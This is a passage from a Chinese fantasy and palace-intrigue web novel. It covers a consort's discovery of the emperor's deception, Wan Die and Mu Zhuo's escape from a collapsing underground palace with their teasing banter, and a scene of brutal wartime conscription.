她恨!恨皇帝的狠毒!恨
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自己的无能!
直到最近事情频发,在她能暗中调查时,才从一个老迈濒死的旧仆口中得知残酷的真相。
所谓“谋逆”,根本是皇帝自导自演的一场戏!柳家毫无防备!
而她的父兄,之所以那么痛快地交出兵权,远遁边陲,是因为收到了她“病重垂危,需陛下赐药方可续命”的假消息!
他们是为了保住她这个在宫中的女儿和外孙的性命,才甘愿放弃一切,承担污名!
皇帝!从头到尾都在骗她!
用假的毒药骗她,用她的“安危”骗了她的家族!
他轻而易举地铲除了心腹大患,还让她和家族彼此误会,感恩戴德!
记忆的碎片如同最锋利的玻璃,在她脑海里疯狂搅动。
草丛升起的火光,仿佛映照着当年皇帝那张虚伪冷酷的脸。
“呵…呵呵…”
贵妃忽然低低地笑了起来,笑声嘶哑破碎,带着无尽的悲凉和恨意。
眼泪混合着黑血的气息,滑落鬓角。
原来…她所以为的绝地求生,她忍着心痛给孩子喂下的“赤魔蛊”,她家族付出的巨大牺牲…
从头到尾,都是皇帝棋盘上早已算计好的一步!
他甚至懒得去查证那药到底是不是真的毒药,因为他自信已经完全掌控了一切!
这个男人,根本不在乎人命,不在乎亲情,他只要他的权柄永固,顺他者昌,逆他者亡。
连死都不知道是怎么死的。
巨大的恨意和弄清楚“赤魔蛊”真相的迫切感,如同烈焰般灼烧着她所剩无几的生命力。
她要他死,她要毁了他们李氏的根基!
贵妃手上满是被抓握的泥土,眼中却没有丝毫的怯懦。
她几乎是疯了一般的站起来,跌跌撞撞的走了几步,不顾自己也频繁呕出鲜血,盯着冷宫的大门,冷笑。
他以为皇子疯魔,把自己关入冷宫,自己就一点没有办法了吗?
“哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈!!!”
贵妃发出癫狂的大笑,看着头上高悬的明月。
就算她家再落魄,在朝中的余威尚在。
而她不信,她编造出来的那一番话有真有假,自己的宫中肯定有十三皇子的暗线,她就不信了,听到那一番话,那个人不会去查。
不是要她杀了皇帝吗,那利用一下,让他恢复自己的贵妃身份,也可以不是吗?
她这一生,机关算尽……
63. 宛楪醒了?
“咳,咳……”
慕酌从混沌中艰难转醒,脑袋仿佛被重锤猛击,剧痛如汹涌的潮水般一波波袭来,令他几乎无法承受。
缓缓睁开双眼,入目所及,竟是一片令人触目惊心的废墟。
断壁残垣在寒风中摇摇欲坠,荒草地上,枯黄的野草在风中瑟缩颤抖。
凛冽的寒风如尖锐的钢针,肆意割着他的肌肤,带来阵阵刺痛。
他微微转动视线,瞧见有人细心地将身旁周围的陈雪轻轻拨开,在这一片冰天雪地中,留出了一方相对洁净的所在。
他吃力地撑起身子,每一个动作都伴随着一阵钻心的疼痛,仿佛全身的骨头都被拆散又胡乱拼凑在一起。
环顾四周,他的目光瞬间定格在身侧之人——宛楪的身上。
此刻的宛楪,与他记忆中那副模样判若两人。
曾经那双透着红煞之气、令人胆寒的瞳孔已然消失不见,取而代之的是一双淡绿色的眼眸。
那眼眸恰似春日里刚刚萌出的嫩叶,清新而灵动,闪烁着柔和的光芒,宛如一泓清泉,流淌出少女独有的温婉与纯净之态。
“……你”
慕酌干裂的嘴唇微微颤抖,艰难地吐出一个字,声音沙哑得如同破旧的风箱。
他的眼神中交织着复杂的情绪,有惊讶、疑惑,更有一丝难以言说的欣喜。
宛楪看着慕酌这般小心翼翼又带着几分憔悴的模样,心中不禁一阵酸涩。
她清楚地记得,自己悠悠转醒之时,发现两人被困于一处极为狭小的巨石缝隙之中。
那缝隙窄得犹如一道狭窄的深渊,仅容两人勉强挤身,四周的巨石仿佛随时都会合拢,将他们碾碎。
头顶之上,石子如密集的雨点般簌簌滚落,缝隙内弥漫着令人窒息的死寂。
再有几颗石子落下,他们便将被无情地活埋在这黑暗的深渊之中。
而身旁的慕酌,似因承受不住巨石那令人绝望的重压,已然昏迷过去。
面色如纸般苍白,毫无生气。
她只觉脑袋仿佛要炸裂开来,记忆如破碎的琉璃,零零散散,难以拼凑出完整的画面。
然而,就在这生死攸关的时刻,她体内无端涌起一股汹涌澎湃的法力,那法力如同沉睡已久的猛兽突然苏醒,在她的经脉中横冲直撞。
在这绝境之中,她咬着牙,拼尽全身的力气,调动那股狂暴的法力,朝着石阵奋力击去。
当她终于看清周围的景象时,不禁倒吸一口凉气,瞠目结舌。
此处竟是一处满是骸骨的地宫,白骨堆积如山,宛如一座阴森的小山丘。
那些白骨有的相互交叠,有的保持着扭曲挣扎的姿态,仿佛在诉说着曾经遭受的惨烈与痛苦。
地宫弥漫着一股令人作呕的腐臭气息,混合着丝丝缕缕的血腥味道,令人几欲作呕。在昏暗的光线中,白骨闪烁着诡异的幽光,仿佛无数双怨魂的眼睛在注视着闯入者。
但此刻,时间紧迫得如同即将断裂的弓弦,整个地宫已然开始剧烈地坍塌,大块大块的石头从头顶落下,扬起阵阵尘土,呛得人几乎无法呼吸。
她心中只有一个坚定的念头,那就是无论如何也要带慕酌离开这个可怕的地方。
于是,她拼尽全身最后的力气,用颤抖的双手将昏迷的慕酌背在身上,深一脚浅一脚地在白骨与碎石间艰难前行。
每一步都充满了艰辛与危险,随时都可能被落下的石头砸中,但她顾不上那么多了,心中只有对生的渴望和对慕酌的担忧。
终于,她带着慕酌艰难地走出了这片恐怖的地宫。
“是你将我带出此地的?”
慕酌干裂的嘴唇微微颤动,带着几分虚弱与疑惑,声音在寒风中显得如此单薄。
他的眼神中透露出一丝复杂的情感,有对宛楪的感激,也有对自己昏迷期间发生之事的迷茫。
言罢,他自嘲地苦笑一声,那笑容中满是无奈与苦涩。
“想来也是,你定不会回应我,看来北国当真是对神女你极为珍视,把你救出来的吧。”
?
何为神女?
宛楪满心疑惑,眼中写满了迷茫与困惑。
她张了张嘴,却又不知该从何问起,心中的疑问如同乱麻般纠结在一起。
她努力地回忆着,记忆却如一团迷雾,始终停留在客栈之时。
那时,他们亲眼目睹了那些被迫害至扭曲的少女怪物,她们痛苦的模样和绝望的眼神,如同锋利的刀子,深深地刺痛了她的心。
而后,他们便踏上了追查此事的道路,一心想要揭开这背后隐藏的黑暗秘密。
然而,在追查的过程中,他们不慎触怒了某些上位者的利益。
如同蝼蚁撼动了参天大树,随即遭受到了残酷的陷害,被迫分开。
那些欲取她性命之人,如同阴险的猎手,将她诱至一片荒郊野外。
北国与南国情势截然不同,南国有高耸入云的悬崖峭壁,那时她法力未复,尚可凭借断崖绝境来保全性命。
而北国则是一望无际的平原,目之所及,唯有矮小的灌木在寒风中瑟瑟发抖。
冷冽的冰雪无情地覆盖着大地,一片银白的世界却透着无尽的死寂。
这里没有高大的石林与怪石作为遮蔽,她就像一只暴露在狼群中的羔羊,毫无遮拦,成为了一个显眼的活靶子。
几经波折,那些人自以为胜券在握,眼中露出狰狞的神色,开始对她肆意辱骂。
他们的话语如同恶毒的诅咒,一句句刺向她的心头。
“你这贱婢,今日便是你的死期!”
“你也不过是这北国大业的牺牲品罢了!”
甚至妄图将她变成与那些少女一般的怪物,声称她们的性命本就应献祭于北国的大业。
她亦不例外,此乃她无上的荣幸。
那些人的笑声在寒风中回荡,如同恶魔的咆哮,令人毛骨悚然。
那时,她恰好恢复了法力,一股力量在她体内觉醒。
她心中燃起了强烈的求生欲望和对正义的执着,毅然与那些人展开了殊死搏斗。
她身形如电,手中的武器闪烁着寒光,与敌人展开了激烈的交锋。
然而,终究寡不敌众,敌人如潮水般涌来,一波接着一波。
她心中暗自感慨,人类在无妖族相助的情形下,竟能如此凶狠,将自己逼至这般绝境。每一次躲避攻击,每一次奋力还击,都让她感到力不从心,但她始终没有放弃。
之后,她便陷入昏迷。
只隐约觉得自己似乎做了一件惊天动地之事,脑海中残留着一些模糊的画面,再往后,便一无所知。
此刻,慕酌是她唯一的希望,是她解开谜团的关键。
可这所谓的神女究竟是何意?
女?
宛楪低头审视自己身上的服饰,那服饰样式华丽而繁重,色彩斑斓,绣工精细,与她在南国所见过的朴素衣衫大不相同。
一眼便能看出这是女子的装扮,每一处细节都彰显着精致与华贵。
不对,她记得自己一直女扮男装……
难道慕酌已然知晓此事?
宛楪顿感一阵不自在,心中涌起一阵慌乱。
她轻咳两声,试图掩饰自己的不安,“那个……”
她尚未言毕,慕酌却瞪大了双眼,眼中满是震惊与难以置信,仿若见到了世间最为奇异的景象。
他的目光紧紧地盯着宛楪,上下打量着她,仿佛要将她看穿。
“你竟开口说话了?!”
慕酌的声音因激动而微微颤抖,那声音在寒风中显得如此突兀,打破了这冰冷世界的寂静。
他近日所见的宛楪,神情冷漠、面容可怖,仿若带着死气,宛如被黑暗吞噬的怪物,如今却突然开口说话,这怎能不让他感到震惊。
“你……”
二人对视,眼中皆是对对方状况的不明所以。
宛楪一无所知,眼神中透着迷茫与无助,仿佛在黑暗中迷失了方向的羔羊。
而慕酌则不敢相信眼前的变化,心中充满了疑惑与惊喜,仿佛看到了奇迹的发生。
“实不相瞒,我失忆了,不知如今究竟是何情形?”
宛楪率先打破沉默,声音中带着一丝颤抖和无助。
她望向慕酌,眼神中满是期待,希望能从他那里得到答案。
毕竟慕酌算是并肩作战的盟友,在这陌生而又危险的境地中,她只能依靠他。
慕酌一怔,眼中闪过一丝惊讶与担忧,“你竟失忆了?!”
好端端的,怎会突然失忆?
难道她不知北国皇室宫殿所发生之事,不知自己已被奉为神女,甚至连自己是谁都忘却了?
他心中涌起一阵复杂的情绪,有对宛楪的担忧,
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也有对未来局势的忧虑。
宛楪颔首,神情落寞,眼中闪过一丝痛苦的神色。
“我只记得当初发觉北国皇室似在以人体炼药,而后我们分开,其余之事,便不甚明晰了。”
她的声音微微颤抖,仿佛在努力回忆着那些破碎的记忆,却始终无法拼凑完整。
原来她的记忆仅止于此……
不对!
慕酌嗤笑一声,笑声中带着一丝无奈与自嘲。
看来她的确还是自己所认识的那个六校尉。
“那你又是如何变成女儿身的?可还记得?”慕酌问道,眼神中透露出一丝好奇与关切。
宛楪尴尬地眨了眨眼,心中暗自叫苦,她本就是女儿身啊!
只是这话实在难以启齿。
她的脸颊微微泛红,眼神中闪过一丝慌乱。
“我亦不知晓,失忆之后,究竟发生了何事?”
宛楪一脸无辜地望向慕酌,眼中满是迷茫与无助。
慕酌稍作停顿,眼中闪过一丝犹豫,最终还是如实相告。
“我再次见到你,是在北国的皇室宫殿盛会之上,彼时你被尊为神女,整个人仿若被提线的木偶一般,神情冷漠,眼神空洞,毫无生气。”
他的声音低沉而凝重,仿佛在回忆着那段令人心悸的过往。
“什么?”
宛楪震惊得张大了嘴巴,眼中满是难以置信的神色。
更何况她无法想象自己竟会被尊为神女,更无法想象自己那时的模样。
见宛楪如此震惊的模样,慕酌颇感无奈,发生如此重大之事,她竟浑然不知。
他微微皱眉,眼中闪过一丝忧虑,“你当时的模样着实骇人,仿若将死之人,面色如纸般苍白,毫无血色。
“然而双目却赤红如血,恰似吃人的妖怪一般,透着一股令人胆寒的气息。”
他的声音低沉而缓慢,每一个字都仿佛带着沉重的重量,压在宛楪的心头。
“啊……这……”
宛楪一时语塞,不知该如何回应,心中五味杂陈。
这形容也太过夸张,她又怎会吃人?但从慕酌的眼神中,她能看出他所言非虚,心中不禁涌起一阵疑惑与恐惧。
不过……
宛楪犹豫片刻,眼神中闪过一丝挣扎,
“我往昔便患有怪症,偶尔会发热昏迷,旁人告知我,在我情绪激动之时,双目便会化作赤色……”
说罢,她眼神中流露出一丝落寞与无奈,仿佛想起了那些被人误解的过往。
“他们皆以为我乃不祥之人……”
她的声音越来越低,仿佛在诉说着一个不为人知的秘密,带着一丝苦涩与心酸。
宛楪楚楚可怜的模样,若是常人,或许真会如此认为。
但在妖族之中,反而会觉得她定非凡俗,说不定还身负上古血脉。
慕酌看着宛楪,心中涌起一阵怜悯之情,他轻轻叹了口气,眼神中充满了关切,
“此症状以往何时出现过?”
慕酌不禁好奇,不知不觉间,竟这般轻易地相信了宛楪所言。
自己向来多疑,此次却不知为何选择了相信,或许是因为眼前的宛楪让他感到如此无助与可怜。
“我亦不知。”
宛楪无奈地摇了摇头,眼神中满是迷茫。她也一直对自己的怪症感到困惑,却始终找不到答案。
慕酌轻叹一声,寒风在他耳边呼啸,仿佛也在为他们的遭遇而叹息。
“那接下来该当如何?”
他的眼神中透露出一丝忧虑,望着这片荒芜的世界,心中不知该何去何从。
“不知,我但凭你做主,还望你告知我究竟发生了何事。”
宛楪望向慕酌,眼神中满是信任。
在这陌生而又危险的境地中,慕酌是她唯一的依靠,她愿意将自己的命运交托给他。
慕酌看着眼前的宛楪,心中五味杂陈。
他看着宛楪那充满信任的眼神,心中涌起一股责任感。
“也罢,看在你如此信我的份上,倒不枉我一番救你之举。”他的声音坚定而有力,仿佛在向宛楪承诺着什么。
宛楪面露疑惑,“你救我?”
她心中暗自腹诽,分明是自己在石阵之中救了他!
她的眼神中闪过一丝不满,望向慕酌,似乎想要从他的眼神中找到答案。
64. 心虚
慕酌缓缓开口,有条不紊地向宛楪讲述这段时间发生之事。
寒风如利刃般刮过,似乎也在试图打断这冗长而离奇的叙述。
宛楪静静听着,随着慕酌的讲述,她的脸色由最初的平静逐渐变得复杂起来,显然被这些闻所未闻的事情深深震撼。
她怎么也想象不到,自己昏迷或是失忆的这段时日,竟如踏入了一个光怪陆离的噩梦,发生了如此多匪夷所思之事。
“首先,我们绝不能透露是从地宫中出来的,就说被人偶然搭救。”
慕酌抬起头,深邃的眼眸紧紧盯着宛楪,见她眼神游离,思绪不知飘向何处。
便伸出修长的手指,轻轻却又带着些不容置疑地敲了一下她的脑袋,
声音中略带责备地问道:“你在想什么呢?”
“啊,没什么……”
宛楪吃痛,下意识地缩了缩脖子,不悦地努了努嘴。
那红如胭脂的嘴唇微微嘟起,恰似春日里最娇艳的花瓣,透着一抹诱人的色泽。
这不经意的小动作,瞬间让慕酌的思绪如脱缰之马,飘回到那个令他难以忘怀的夜晚。
之前宛楪或是沉默寡言,或是坚称自己失忆,而如今确定她就是自己的六校尉。
他心底那股好奇的火焰烧得更旺,那天晚上她究竟为何突然做出那般非礼自己的举动?
这个疑问如同一根刺,时不时地扎着他的心。
慕酌的神色瞬间变得极为复杂,原本清澈的眼眸中闪过一丝犹豫与纠结。
喉结不由自主地微微滚动,艰难地咽了一口唾沫,仿佛下了极大的决心。
犹豫片刻后,终是缓缓开口,声音低沉而略带试探地问道,
“你……喜欢我吗?”
宛楪正满心愤懑,这人作为盟友,竟这般随意地敲自己脑袋。
冷不丁听到这么一句没头没脑的话,她先是一愣,脸上的表情瞬间凝固,随即瞪大了双眼。
那原本灵动的眼眸此刻瞪得如同饱满的桃杏般圆大,眼中满是惊愕与不可置信。
“不是,没有,你在说什么?”
她的声音因为惊讶而不自觉地提高了几分,在这寂静的荒野中显得格外突兀。
慕酌本想直言那晚之事,可瞧着宛楪那一脸茫然无辜的模样,失忆似乎并非是在作假。
一股无名之火“腾”地从心底燃起,烧得他胸口发闷。
难道自己就这么不明不白地吃了这个亏?
这口气怎能咽得下去!
慕酌冷笑一声,那笑容中带着一丝不易察觉的狡黠,眼中闪过一抹算计的光芒,缓缓说道,
“没有,就是你那天失忆了,自然不记得自己的所作所为。”
“你当时紧紧抱着我,眼神迷离,嘴里不停地说着喜欢我,还非要与我私定终身……”
他一边说着,一边观察着宛楪的表情,不放过她脸上任何一丝细微的变化。
“打住!”
宛楪惊恐地站起身来,整个人如同被踩了尾巴的猫,瞬间炸毛。
她双眼瞪得几乎要脱出眼眶,死死地盯着眼前的慕酌,仿佛面前站着的是一个从地狱爬出的恶魔。
难以置信地看着他,仿佛他刚才说的是天方夜谭。
只见慕酌长叹一口气,胸膛剧烈地起伏着,脸上满是委屈之色,那模样仿佛遭受了世间最残酷的折磨,每一道皱纹里都写满了冤屈。
“你拿失忆当借口,就这么轻轻松松地忘了这些事。你当时还想霸王硬上弓,我奋力反抗都无济于事……”
说着,他还装模作样地抬手擦了擦根本不存在的眼泪,那动作夸张而滑稽,手指在眼眶周围抹了一圈,仿佛真的沾了泪水。
随后还抽噎了两声,那模样,仿佛真成了被轻薄的可怜受害者。
“什么东西?”
宛楪震惊得几乎喘不上气,胸口剧烈地起伏着,她的声音因为过度惊讶而变得尖锐刺耳。
心中满是荒谬之感,这都什么跟什么呀!
她感觉自己仿佛置身于一场荒诞的闹剧之中,而自己却成了那个被蒙在鼓里的小丑。
慕酌佯装“嗔怒”,狠狠地瞪了宛楪一眼。
那眼神中带着几分恼怒,又有几分无奈。
说实话,自己这番表演连自己都觉得有些恶心。
可此刻为了让宛楪相信,哪怕就是为了恶心他一下,也只能硬着头皮演下去。
“所以我才问你是不是……可你却什么都不记得了,唉。”
他微微摇了摇头,脸上露出一副痛心疾首的表情,仿佛对宛楪的失忆感到无比惋惜。
宛楪环顾四周,只见荒芜的大地上,残败的杂草在寒风中瑟瑟发抖,发出“簌簌”的声响。
仿佛在为她这荒谬的遭遇而悲泣。
远处几棵枯树扭曲着枝干,如同张牙舞爪的怪物,在月光下投下诡异的影子。
此刻,她觉得自己的心情比这荒芜的环境还要糟糕。
仿佛坠入了一个无底的深渊,看不到一丝希望。
在这个诡异的地方,还有什么离奇的事不会发生呢?
她甚至怀疑自己是不是在做梦,说不定一觉醒来,一切都会恢复正常。
自己不过是醒来后救了这个人,然后听他讲述了一堆奇奇怪怪的事,什么有人中蛊变成怪物之类的。
这还没消化完,就又听到这么一个“惊天霹雳”的消息。
难道自己昏迷的时候,真干出了那种荒唐事?!
宛楪的内心充满了疑惑与不安,忍不住仔细打量起慕酌。
他生就一双桃花眼,眼尾微微上挑,宛如一弯新月。
那眼眸中仿佛藏着一汪深邃的湖水,波光流转间,似有无数的风情在其中荡漾。
面容白皙如玉,泛着柔和的光泽,线条却又不失硬朗,犹如雕刻家精心雕琢的艺术品,每一处线条都恰到好处,勾勒出一张俊俏得如同从画中走出的脸庞。
此刻,清冷的月光如轻纱般洒落在他身上,为他镀上一层银边,却增添了几分魅惑之气。
她不得不承认,慕酌确实生得好看。
但她又怎会忘记,初次见面时,这个人竟掐着自己的脖子。
那有力的手指如铁钳般紧紧扣住她的咽喉,眼中杀意尽显,仿佛下一秒就要将她置于死地。
后来好不容易与他达成盟约,虽说彼此间有了些信任,可也绝非深厚。
即便慕酌这张脸再好看,她也绝不可能做出那般出格之事。
而且这人到底怎么回事?
一会儿想要杀她,眼神中满是决绝与狠厉。
对她恨之入骨,言辞间充满了怨愤。
现在却又仿佛相识多年般,说出这种莫名其妙的话。
神经病!
她笃定了这个想法,一想到自己还得与这人在北国继续结盟,直到返回,不禁一阵头痛,忍不住幽幽叹了口气……
唉。
“罢了,瞧在你于战场上那般英勇杀敌的情分上,本将军便不再与你计较这桩事了。”
慕酌心中暗自思忖,反正此事本就是自己编造出来打趣她的。
况且目的似乎也已达到,便顺势找了个台阶下。
此时,天色渐暗,铅灰色的暮云沉甸甸地压在天边,仿佛随时都会倾泻而下。
寒风裹挟着细碎的雪花,如锋利的刀片般割过这片荒芜之地,发出“呜呜”的声响,为这愈发浓重的暮色增添了几分萧索与凄凉。
地上的积雪已有数寸厚,一脚踩下去,便会发出“咯吱咯吱”的声音。
雪花纷纷扬扬地飘落,很快便在宛楪和慕酌的肩头、发梢积了一层薄霜。
宛楪抬眸,目光直直地看向眼前的慕酌。
她心中笃定,自己绝无可能做出他所描述的那般荒唐事,定是他趁着自己失忆,肆意胡编乱造。
“好啊,既然你言之凿凿,说我要与你私定终身,那不妨详细说说,我究竟都对你做了些什么?”
宛楪双手抱胸,眼中满是质疑。她一边说着,一边下意识地在自己身上摸索起来,
“若说我贪图你的美色,那至少得有所行动吧。”
“若图你的钱财,可我身上也并未发现啊。如此看来,你分明就是在信口胡诌。”
宛楪此刻心中有底,毕竟自己法力已然恢复,即便眼前这个凡人在同类中算是出类拔萃,可对付他想必也不在话下。
她本以为稳操胜券,却见慕酌神色一凛,缓缓站起身来。
他身姿挺拔,俊朗的面容此刻竟似出现了一丝裂缝。
平日里沉稳的气质中多了几分恼意,只见他抬起手,修长的手指轻轻点了点自己的胸口。
语气中带着一丝难以言喻的愤懑:“你把我的衣服扒了,然后……”
宛楪料定他是在佯装,挑衅地斜睨了他一眼,嘴角微微上扬,带着一抹嘲讽:
“然后呢?难道我还对你动手动脚不成?”
慕酌被她这副模样气得够呛,这口气实在难以咽下,忍不住提高了音量:“你直接……”
“嗯?”
宛楪故意拉长了声音,眼神中满是戏谑。
“在我心脏的位置,你……”
慕酌的话到嘴边,却又有些难以启齿。
“我真不知道你在胡言乱语些什么,你说我非礼你,到底图什么呀?”
“难道你真觉得自己生得倾国倾城不成?”
宛楪不可置信地“切”了一声,尽管她内心不得不承认慕酌确实容貌出众,但她坚信自己绝不会做出那般出格之事。
看着宛楪一脸满不在乎的神情,慕酌只觉一股热气直冲脑门,这是他十七年来头一次如此急火攻心。
他深吸几口气,好不容易才将那股怒火压下几分,目光望向那渐渐昏暗且雪花纷飞的暮色。
整个人如同雕塑一般,许久都未言语。
纷飞的雪花
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落在他的脸上,很快便融化成水珠,顺着脸颊滑落,仿佛是他压抑的怒火所化成的无奈之泪。
他心中暗自思索,是否要如实相告?
可眼前这人十有八九又会以失忆为由,佯装不记得。
若是再有类似情况发生,自己定要狠狠将她推开!
宛楪看着慕酌这副模样,不屑地撇了撇嘴,在心中暗自嘀咕。
就这还想污蔑我?
随即,她的目光不经意间落在慕酌的心口,心脏的位置……
她心中猛地一惊,瞳孔骤然放大。
自己那残缺的真身似乎就在那里。
难道他所说的事,真有可能发生?
或许是因为身体本能地想要取回真身,所以才对他做了什么,而他并未察觉其中缘由,反倒以为自己是在非礼他……
就在慕酌觉得这场争论实在难以有个结果,打算暂且搁置此事,与宛楪商讨后续计划之时。
宛楪突然开口,“对,没错,我就是贪图你的美色,谁让你长得这般好看呢!”
“而且当时我神志不清,你大人有大量,就别跟我计较啦,见谅见谅!”
慕酌气得心口一阵抽痛。
可就在这时,一股温和而柔软的力量悄然包裹住他的心脏,那股愤怒竟渐渐平复下来。
雪花似乎也感受到了这股情绪的变化,飘落的速度都放缓了几分。
“你……”慕酌刚要开口。
宛楪赶忙打断他,摆了摆手道:“再说了,你也没吃什么亏,不是吗?”
“哎呀好了好了,实在不行哪天让你把这便宜占回来便是。”
顿了顿,她又像是想到了什么,继续说道:
“或者你也跟我说要私定终身,然后到时候狠狠把我抛弃……”
宛楪实在没辙,只能将自己平日里看过的话本子剧情一股脑地倒了出来,毕竟她对人类世界的了解,也就仅限于此了。
她心中明白,自己刚才还追问他自己有什么目的,万一这人回过神来,意识到关键所在,那自己的真身怕是更难拿回来了。
反正自己是妖,对名声之类的倒也不太在乎。
慕酌听完这一番话,整个人仿佛被定住一般,石化在原地。
他的嘴唇微微张开,眼中写满了不可置信,怎么也没想到宛楪竟会如此“坦诚”。
此时,一片雪花恰好落在他的眼角,他却浑然未觉,只是怔怔地看着宛楪。
宛楪见状,轻咳了两声,试图唤醒慕酌仅存的“良知”,说道:
“我都说了我当时神志不清嘛,再说了,你那么厉害,为什么不把我推开呢?”
慕酌只觉得心口又是一阵疼痛,但很快又被那股温和的力量抚平。
他抬眸看向站在对面的宛楪,只见她那如花瓣般娇艳的嘴唇,涂抹着北国独有的胭脂红,在白雪的映衬下显得格外夺目。
北国对这位神女确实大方,即便历经地宫巨石的袭击,她整个人依旧透着一股高贵典雅的气质,仿佛自带一种不可侵犯的清冷之美。
与之前他所见到的那副残忍恐怖的模样截然不同。
雪花落在她的肩头,仿佛不忍沾染她的美丽,很快便滑落下去。
宛楪生就一双极为好看的桃杏眼,尤其是此刻心虚之时。
她微微垂眸,那长长的睫毛如蝶翼般扑闪,更添几分灵动。
雪花化成晶莹的水珠,让她的双眸看上去更加水润明亮。
“喂,”
宛楪见慕酌迟迟不搭理自己,还以为他真的生气了,赶忙解释道:“我都说了,那是因为……”
“好。”慕酌突然出声。
“好什么?”宛楪一脸疑惑,可慕酌并未回应她。
“等到有机会,你就想办法偿还吧,或许是你手上的资源,又或许是其他方面,总之我不会忘记此事,我会一直记着。”
慕酌目光灼灼地看着宛楪,语气中带着一丝不容置疑。
此时,一阵寒风吹过,将地上的雪花吹起,在两人之间形成了一道白色的屏障,仿佛也在为这份“约定”增添了几分庄重。
宛楪抿了抿嘴唇,心中暗自腹诽:
这人可真记仇啊……
不过为了不暴露自己妖族的身份,也只能如此了。
“到时候再说吧,都随你,你想怎样就怎样。”宛楪无奈地叹了口气。
“说说吧,接下来有什么计划。”
“哟,看不出你这个商人还真有些本事,居然能引得我们国家神女和你交流……”
远处传来不急不慢的声音,在这寂静的雪夜中显得格外突兀。
这声音伴随着雪花一同飘来,却不知说话之人在两人谈论半天的时候,何时从旁边冒出来的,更不知他都听到了多少?
“谁?!”
宛楪和慕酌异口同声,声音在雪地里回荡,惊起了附近树上栖息的几只寒鸦,它们扑腾着翅膀,消失在茫茫雪幕之中。
65. 一场梦
“客官要什么颜色的衣服?”
“白的。”菀楪眸色暗淡,不知道在想什么。
本以为这就是很平常的买卖。
所以菀楪看到店家因为自己拿出的银子露出的贪婪之色,想要杀人劫财的时候,十分震撼。
“就因为这块银子,你就想杀人?”菀楪挡下面前的刀,大声质问。
“你身上银子肯定不止一块,拿着你的银子,等到征兵的时候,我就跑到北境,谁能拿我怎么样?”他不知道从哪里又拿出一把小刀,直直地捅过去。
穷凶极恶,越接近边境,人心就越是狠毒。
情急之下,菀楪一脚把人踹开,夺过他的刀,压在他的脖子上,“想活命就放下你那些歪心思,否则我现在就杀了你!”
那人似乎还想反抗,直到刀剑划破皮肤出了血。
两人僵持一会后,那人把手中的武器都扔在一边,“算我倒霉,要杀要剐随便吧。”
“你为什么不想去当兵,保家卫国不是很重要吗?”
“保家卫国,保什么家,卫什么国,南国现在这个样子,哪里还有什么活路,还不如趁早逃命。”店家却嗤笑一声,盘腿坐起来。
“你知道为什么你拿的衣服都是粗布吗,不是因为钱不够,是没有,但凡有点好东西都要送到权贵手里,百姓的命在他们眼里什么都不是。”
店家像是失去了支撑,“我以前啊也是打仗的,那才叫人打的仗。现在,你以为什么征兵,就是把我们推到前面抵挡炮火,连武器都不给,直接去送死啊!”
菀楪瞳孔一缩,叹口气,把银子扔在他身上,“这银子你拿着,我拿了你的衣服,本该付钱的。”她拿走了一身衣服和一条长白布。
走到门口,她捏紧了拳头。又是这样,她什么也做不了。以前她问过,为什么官僚阶级不好,还要设立,那些人回复的却是没办法。
人类,本来只能活七八十年,却要自找苦吃,非要这样折磨自己。这又是为什么呢?
菀楪提步,走的时候回头看了一眼店家,警告他,“你下次要是还这样任意取人性命,说不定会和今天一样。如果我不收手,你已经死了。”说完便转身,不再回头。
外面的天空阴沉沉的,黑云压境,像是预谋着毁灭一切。
菀楪找了个地方把湿哒哒的衣服换下来,放在一边烤干。抓了几只老鼠,一只野鸡,把它们的血放出来,浸染了白布条。她把买来的一身行头换上,在脖子上用布条缠了好几圈,伪造出受伤的样子。
收腰,紧身,挽发髻,用绳子绑好。仔细检查自己一身,顺便把灰尘掸下去。
这下无论从外观生理,还是衣着,或者声音,她都是个彻头彻尾的男子。
黑色的云彩不断翻滚,昭示着接下来的风雨欲来。
走出山林,沿着刚刚来的路线,寻到那户借自己衣服的那家。
隔着远处,菀楪看见一群人在争论,推推搡搡,似是有什么争执,不由得加快了脚步。
“谁让你老子死了,家里就只剩这个小的呢。”大汉粗鲁的踹了地上跪着的女子,大声怒骂着。
他甚至还嫌烦,一把拽开女子,狠狠咒骂,“就你那个孩子不去战场也是短命的鬼,还不如跟我们走呢。再说了,这是上面的命令,你求谁都没用。”
征兵,这几天她听得多了,倒是没想到人类居然连小孩子都不放过。
那大汉手中拿着铜板,是菀楪给她们的。
“你个克死丈夫的人留着孩子有什么用,还不如去战场上,说不定还有命活。”
大汉的巴掌扬起来,狠狠掴了女子一下,还嫌不够,对着那张渗出血丝的脸再度挥去。
“你在干什么?”菀楪赶到,拽住他的手,狠狠把他摔在一旁。
“哪里来的小白脸,官府行事,你敢阻拦,你不想活了?”大汉被推开,颇为恼怒,指着菀楪鼻子就开骂。
“那你想干什么,你要把这么小的孩子拉去战场吗?”菀楪护在那母子身前,“你这是让他送死!”
“什么送不送死的,难道他在这就不会死了?还有,官府办差,你敢阻拦,信不信我诛了你的九族?”那官兵狠狠咒骂,招呼其他人就把菀楪围了起来。
“你有什么资格?”菀楪攥紧了自己的拳头,她学过人类的语言,知道九族是什么,凡是和要杀的人有血缘关系的,都算上了。
可是,凭什么!
“妈的,你个有娘生没娘养的东西,得罪了我,我让你吃不了兜着走!我告诉你凭什么,凭我是这里的头,什么事情我说了算,就算是皇帝,他也管不了我!”官兵大声嚷嚷,带着那些人开始动手。
菀楪飞速地解决了这些人,只让他们在地上哀嚎。人类那些武术没有白学,到又是用上了。
她扣住为首之人的手腕,反剪在背后,命令那些人退后,“你们要是早上前来,我就杀了他,至于我的九族,也不是你们能动的。”
“普天之下,莫非王土。你的九族只要在,就一定能找到,到时候连累他们你怎么办?”声音从旁边传来,是一个满是胡子的男子,后面带着一支军队。
菀楪皱了皱眉,掂量自己能不能打过他带来的那些人。
“那又怎么样,你们让一个五岁的孩子上战场,是怎么想的?”菀楪手上用了些力,防止手上的人逃脱。
后来的人穿着铠甲,打扮得像是一个将军。他冷漠地看着菀楪,“征兵规定了一家人里面至少有一个男子应征,十四岁以上的要全部服从。”
“他家男的死了,就只能让这个小的去了。你能救他一次,也救不了第二次,到时候我们还是会把他带走的。”有胡子的将军叹息一声,“就算他只有一岁,也必须跟我们走。”
“要不是当地的,你们就不招了吗?那为什么见到我,不让我去?”菀楪现在用的还是男声,她不信这个人能看出来。
“你说的不错,你要不是当地的,就不用。流民匪寇,送去服徭役,修建京城的摘星楼,不过根本没有活着过完几个月的。”将军示意后面的人抢过菀楪后面的孩子。
